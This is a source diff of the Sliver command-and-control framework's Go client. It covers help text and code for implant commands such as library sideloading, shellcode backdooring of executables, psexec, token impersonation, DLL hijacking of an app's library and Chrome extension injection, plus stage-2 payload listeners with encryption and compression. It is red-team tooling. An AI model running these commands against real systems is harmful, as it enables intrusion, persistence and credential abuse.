uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
|
||||
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
|
||||
@@ -346,8 +370,8 @@ Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
|
||||
sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
|
||||
Sideload a Linux shared library into a new bash process using LD_PRELOAD:
|
||||
sideload -p /bin/bash /tmp/mylib.so
|
||||
Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
|
||||
sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
|
||||
Sideload a Windows DLL as shellcode in a new process using Donut, specifying the entrypoint and its arguments:
|
||||
sideload -e MyEntryPoint /tmp/mylib.dll "argument to the function MyEntryPoint"
|
||||
|
||||
[[.Bold]]Remarks:[[.Normal]]
|
||||
Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process
|
||||
@@ -371,7 +395,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
|
||||
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
|
||||
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
|
||||
`
|
||||
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
|
||||
loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
|
||||
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
|
||||
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
|
||||
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
|
||||
@@ -431,7 +455,7 @@ The profile must be created with the [[.Bold]]service[[.Normal]] format, so that
|
||||
|
||||
To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
|
||||
|
||||
profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
|
||||
profiles new --format service --skip-symbols --mtls a.bc.de win-svc64
|
||||
|
||||
Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
|
||||
|
||||
@@ -443,10 +467,20 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
|
||||
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
|
||||
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
|
||||
|
||||
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
|
||||
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
|
||||
`
|
||||
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
|
||||
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
|
||||
You can specify a custon Logon Type using the [[.Bold]]--logon-type[[.Normal]] flag, which defaults to [[.Bold]]LOGON32_LOGON_NEW_CREDENTIALS[[.Normal]].
|
||||
Valid types are:
|
||||
|
||||
LOGON_INTERACTIVE
|
||||
LOGON_NETWORK
|
||||
LOGON_BATCH
|
||||
LOGON_SERVICE
|
||||
LOGON_UNLOCK
|
||||
LOGON_NETWORK_CLEARTEXT
|
||||
LOGON_NEW_CREDENTIALS
|
||||
`
|
||||
|
||||
getEnvHelp = `[[.Bold]]Command:[[.Normal]] getenv [name]
|
||||
@@ -657,8 +691,8 @@ supplied with the --profile flag.
|
||||
# Use a local DLL for a hijack
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a Sliver generated DLL for the hijack
|
||||
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
|
||||
# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
|
||||
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a local DLL as the reference DLL
|
||||
@@ -667,6 +701,26 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
|
||||
|
||||
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
|
||||
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
|
||||
`
|
||||
|
||||
cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
|
||||
[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
|
||||
|
||||
If no extension is specified, Sliver will enumerate all installed extensions, extract their
|
||||
permissions and determine a valid target for injection. For Cursed Chrome to work properly
|
||||
the target extension must have either of these two sets of permissions:
|
||||
|
||||
1. "webRequest" "webRequestBlocking" "<all_urls>"
|
||||
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
|
||||
|
||||
More information: https://github.com/mandatoryprogrammer/CursedChrome
|
||||
`
|
||||
|
||||
buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
|
||||
[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
|
||||
|
||||
External builders allow the Sliver server offload implant builds onto external machines.
|
||||
For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
|
||||
`
|
||||
)
|
||||
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
@@ -65,10 +66,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
"ID",
|
||||
"Hostname",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Sessions",
|
||||
"Beacons",
|
||||
"IOCs",
|
||||
"Extensions",
|
||||
"First Contact",
|
||||
})
|
||||
for _, host := range hosts {
|
||||
var shortID string
|
||||
@@ -81,10 +84,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
shortID,
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
host.Locale,
|
||||
hostSessions(host.HostUUID, con),
|
||||
hostBeacons(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
len(host.ExtensionData),
|
||||
con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
|
||||
})
|
||||
}
|
||||
return tw.Render()
|
||||
|
||||
@@ -19,20 +19,48 @@ package info
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// InfoCmd - Display information about the active session
|
||||
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
var err error
|
||||
|
||||
// Check if we have an active target via 'use'
|
||||
session, beacon := con.ActiveTarget.Get()
|
||||
|
||||
idArg := ctx.Args.String("session")
|
||||
if idArg != "" {
|
||||
// ID passed via argument takes priority
|
||||
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
|
||||
} else if session != nil || beacon != nil {
|
||||
var currID = ""
|
||||
if session != nil {
|
||||
currID = session.ID
|
||||
} else {
|
||||
currID = beacon.ID
|
||||
}
|
||||
session, beacon, err = use.SessionOrBeaconByID(currID, con)
|
||||
} else {
|
||||
if session == nil && beacon == nil {
|
||||
session, beacon, err = use.SelectSessionOrBeacon(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if session != nil {
|
||||
|
||||
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
|
||||
@@ -45,11 +73,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
|
||||
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, session.Locale)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
|
||||
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
|
||||
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
|
||||
|
||||
} else if beacon != nil {
|
||||
|
||||
@@ -63,12 +94,16 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
|
||||
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, beacon.Locale)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
||||
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
|
||||
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
|
||||
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
|
||||
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
|
||||
con.Printf(console.Bold+" Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
|
||||
|
||||
} else {
|
||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||
@@ -120,9 +155,50 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var isWin bool
|
||||
con.Printf("Logon ID: ")
|
||||
if session != nil {
|
||||
con.Printf("%s\n", session.Username)
|
||||
if session.GetOS() == "windows" {
|
||||
isWin = true
|
||||
}
|
||||
} else if beacon != nil {
|
||||
con.Printf("%s\n", beacon.Username)
|
||||
if beacon.GetOS() == "windows" {
|
||||
isWin = true
|
||||
}
|
||||
}
|
||||
|
||||
if isWin {
|
||||
cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if cto.Response != nil && cto.Response.Async {
|
||||
con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, cto)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintTokenOwner(cto, con)
|
||||
})
|
||||
con.PrintAsyncResponse(cto.Response)
|
||||
} else {
|
||||
PrintTokenOwner(cto, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
|
||||
if cto.Response != nil && cto.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", cto.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Current Token ID: %s", cto.Output)
|
||||
}
|
||||
@@ -31,9 +31,9 @@ import (
|
||||
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
domains := strings.Split(ctx.Flags.String("domains"), ",")
|
||||
for _, domain := range domains {
|
||||
for index, domain := range domains {
|
||||
if !strings.HasSuffix(domain, ".") {
|
||||
domain += "."
|
||||
domains[index] += "."
|
||||
}
|
||||
}
|
||||
|
||||
@@ -47,6 +47,7 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Port: uint32(lport),
|
||||
Canaries: !ctx.Flags.Bool("no-canaries"),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
EnforceOTP: !ctx.Flags.Bool("disable-otp"),
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
|
||||
@@ -68,6 +68,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
EnforceOTP: !disableOTP,
|
||||
LongPollTimeout: int64(longPollTimeout),
|
||||
LongPollJitter: int64(longPollJitter),
|
||||
RandomizeJARM: !ctx.Flags.Bool("disable-randomized-jarm"),
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
|
||||
@@ -67,6 +67,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
|
||||
"Name",
|
||||
"Protocol",
|
||||
"Port",
|
||||
"Stage Profile",
|
||||
})
|
||||
|
||||
var keys []int
|
||||
@@ -82,6 +83,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
|
||||
job.Name,
|
||||
job.Protocol,
|
||||
fmt.Sprintf("%d", job.Port),
|
||||
job.ProfileName,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
|
||||
@@ -19,13 +19,22 @@ package jobs
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -33,6 +42,10 @@ import (
|
||||
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
profileName := ctx.Flags.String("profile")
|
||||
listenerURL := ctx.Flags.String("url")
|
||||
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
|
||||
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
|
||||
prependSize := ctx.Flags.Bool("prepend-size")
|
||||
compress := strings.ToLower(ctx.Flags.String("compress"))
|
||||
|
||||
if profileName == "" || listenerURL == "" {
|
||||
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
|
||||
@@ -56,14 +69,63 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Profile not found\n")
|
||||
return
|
||||
}
|
||||
|
||||
aesEncrypt := false
|
||||
if aesEncryptKey != "" {
|
||||
// check if aes encryption key is correct length
|
||||
if len(aesEncryptKey)%16 != 0 {
|
||||
con.PrintErrorf("Incorrect length of AES Key\n")
|
||||
return
|
||||
}
|
||||
|
||||
// set default aes iv
|
||||
if aesEncryptIv == "" {
|
||||
aesEncryptIv = "0000000000000000"
|
||||
}
|
||||
|
||||
// check if aes iv is correct length
|
||||
if len(aesEncryptIv)%16 != 0 {
|
||||
con.PrintErrorf("Incorrect length of AES IV\n")
|
||||
return
|
||||
}
|
||||
|
||||
aesEncrypt = true
|
||||
}
|
||||
|
||||
stage2, err := generate.GetSliverBinary(profile, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
switch compress {
|
||||
case "zlib":
|
||||
// use zlib to compress the stage2
|
||||
var compBuff bytes.Buffer
|
||||
zlibWriter := zlib.NewWriter(&compBuff)
|
||||
zlibWriter.Write(stage2)
|
||||
zlibWriter.Close()
|
||||
stage2 = compBuff.Bytes()
|
||||
case "gzip":
|
||||
stage2 = encoders.GzipBuf(stage2)
|
||||
case "deflate9":
|
||||
fallthrough
|
||||
case "deflate":
|
||||
stage2 = util.DeflateBuf(stage2)
|
||||
}
|
||||
|
||||
if aesEncrypt {
|
||||
// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
|
||||
// but it's also useful here as more advanced cipher modes are often difficult to implement in
|
||||
// a stager.
|
||||
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
|
||||
}
|
||||
|
||||
switch stagingURL.Scheme {
|
||||
case "http":
|
||||
if prependSize {
|
||||
stage2 = prependPayloadSize(stage2)
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Starting HTTP staging listener...", ctrl)
|
||||
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
|
||||
@@ -71,6 +133,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Data: stage2,
|
||||
Host: stagingURL.Hostname(),
|
||||
Port: uint32(stagingPort),
|
||||
ProfileName: fmt.Sprintf("%s (Sliver name: %s)", profileName,
|
||||
strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -80,6 +144,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
|
||||
case "https":
|
||||
if prependSize {
|
||||
stage2 = prependPayloadSize(stage2)
|
||||
}
|
||||
cert, key, err := getLocalCertificatePair(ctx)
|
||||
if err != nil {
|
||||
con.Println()
|
||||
@@ -96,6 +163,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Cert: cert,
|
||||
Key: key,
|
||||
ACME: ctx.Flags.Bool("lets-encrypt"),
|
||||
ProfileName: fmt.Sprintf("%s (Silver name: %s)", profileName,
|
||||
strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -105,6 +174,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
|
||||
case "tcp":
|
||||
// Always prepend payload size for TCP stagers
|
||||
stage2 = prependPayloadSize(stage2)
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Starting TCP staging listener...", ctrl)
|
||||
stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
|
||||
@@ -112,6 +183,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Data: stage2,
|
||||
Host: stagingURL.Hostname(),
|
||||
Port: uint32(stagingPort),
|
||||
ProfileName: fmt.Sprintf("%s (Sliver name: %s)", profileName,
|
||||
strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -125,4 +198,16 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
|
||||
return
|
||||
}
|
||||
|
||||
if aesEncrypt {
|
||||
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
|
||||
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
|
||||
}
|
||||
}
|
||||
|
||||
func prependPayloadSize(payload []byte) []byte {
|
||||
payloadSize := uint32(len(payload))
|
||||
lenBuf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(lenBuf, payloadSize)
|
||||
return append(lenBuf, payload...)
|
||||
}
|
||||
@@ -27,6 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -41,12 +42,12 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillSession(session, ctx.Flags.Bool("force"), con)
|
||||
err := KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
con.ActiveTarget.Background()
|
||||
return
|
||||
} else if beacon != nil {
|
||||
@@ -54,7 +55,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
|
||||
err := KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -67,28 +68,31 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
|
||||
func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
if session == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: int64(ctx.Flags.Int("timeout")),
|
||||
},
|
||||
Force: force,
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
core.Sessions.Remove(session.ID)
|
||||
return err
|
||||
}
|
||||
|
||||
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
|
||||
func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
if beacon == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
BeaconID: beacon.ID,
|
||||
Timeout: int64(ctx.Flags.Int("timeout")),
|
||||
},
|
||||
Force: force,
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
return err
|
||||
|
||||
|
||||
@@ -55,10 +55,20 @@ func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient
|
||||
switch credType {
|
||||
case clientpb.CredentialType_USER_PASSWORD.String():
|
||||
loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
|
||||
usernamePrompt := &survey.Input{Message: "Username: "}
|
||||
survey.AskOne(usernamePrompt, &loot.Credential.User)
|
||||
passwordPrompt := &survey.Input{Message: "Password: "}
|
||||
survey.AskOne(passwordPrompt, &loot.Credential.Password)
|
||||
for loot.Credential.User == "" {
|
||||
usernamePrompt := &survey.Input{Message: "Username: "}
|
||||
survey.AskOne(usernamePrompt, &loot.Credential.User)
|
||||
if loot.Credential.User == "" {
|
||||
con.Println("Username is required")
|
||||
}
|
||||
}
|
||||
for loot.Credential.Password == "" {
|
||||
passwordPrompt := &survey.Input{Message: "Password: "}
|
||||
survey.AskOne(passwordPrompt, &loot.Credential.Password)
|
||||
if loot.Credential.Password == "" {
|
||||
con.Println("Password is required")
|
||||
}
|
||||
}
|
||||
case clientpb.CredentialType_API_KEY.String():
|
||||
loot.CredentialType = clientpb.CredentialType_API_KEY
|
||||
usernamePrompt := &survey.Input{Message: "API Key: "}
|
||||
|
||||
@@ -176,7 +176,15 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
|
||||
buf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
|
||||
for _, loot := range allLoot.Loot {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
|
||||
filename := ""
|
||||
if loot.File != nil {
|
||||
filename = loot.File.Name
|
||||
}
|
||||
if loot.Name == filename {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, filename, loot.Type, loot.LootID)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(buf.String(), "\n")
|
||||
|
||||
@@ -159,14 +159,20 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
fmt.Fprintln(table, "Type\tName\tUUID\t")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
|
||||
fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Type")),
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("File Name")),
|
||||
strings.Repeat("=", len("UUID")),
|
||||
)
|
||||
|
||||
for _, loot := range allLoot.Loot {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
|
||||
filename := ""
|
||||
if loot.File != nil {
|
||||
filename = loot.File.Name
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, filename, loot.LootID)
|
||||
}
|
||||
|
||||
table.Flush()
|
||||
@@ -401,7 +407,7 @@ func isText(sample []byte) bool {
|
||||
// last char may be incomplete - ignore
|
||||
break
|
||||
}
|
||||
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
|
||||
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
|
||||
// decoding error or control character - not a text file
|
||||
return false
|
||||
}
|
||||
|
||||
+207
-67
@@ -19,9 +19,14 @@ package loot
|
||||
*/
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"context"
|
||||
"fmt"
|
||||
"path"
|
||||
"io"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -29,8 +34,198 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
|
||||
var lootType clientpb.LootType
|
||||
var err error
|
||||
|
||||
if lootTypeInput != "" {
|
||||
lootType, err = lootTypeFromHumanStr(lootTypeInput)
|
||||
if err != nil {
|
||||
/*
|
||||
If we get an error, that means that this loot type was invalid.
|
||||
We will leave it up to the caller to handle the error (output it
|
||||
to the console for example)
|
||||
*/
|
||||
return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
|
||||
}
|
||||
} else {
|
||||
lootType = clientpb.LootType_LOOT_FILE
|
||||
}
|
||||
|
||||
return lootType, err
|
||||
}
|
||||
|
||||
func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
|
||||
lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
|
||||
if lootFileType == -1 || err != nil {
|
||||
if isText(data) {
|
||||
lootFileType = clientpb.FileType_TEXT
|
||||
} else {
|
||||
lootFileType = clientpb.FileType_BINARY
|
||||
}
|
||||
}
|
||||
|
||||
return lootFileType
|
||||
}
|
||||
|
||||
/*
|
||||
Eventually this function needs to be refactored out, but we made the decision to
|
||||
duplicate it for now
|
||||
*/
|
||||
func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
|
||||
ctrl := make(chan bool)
|
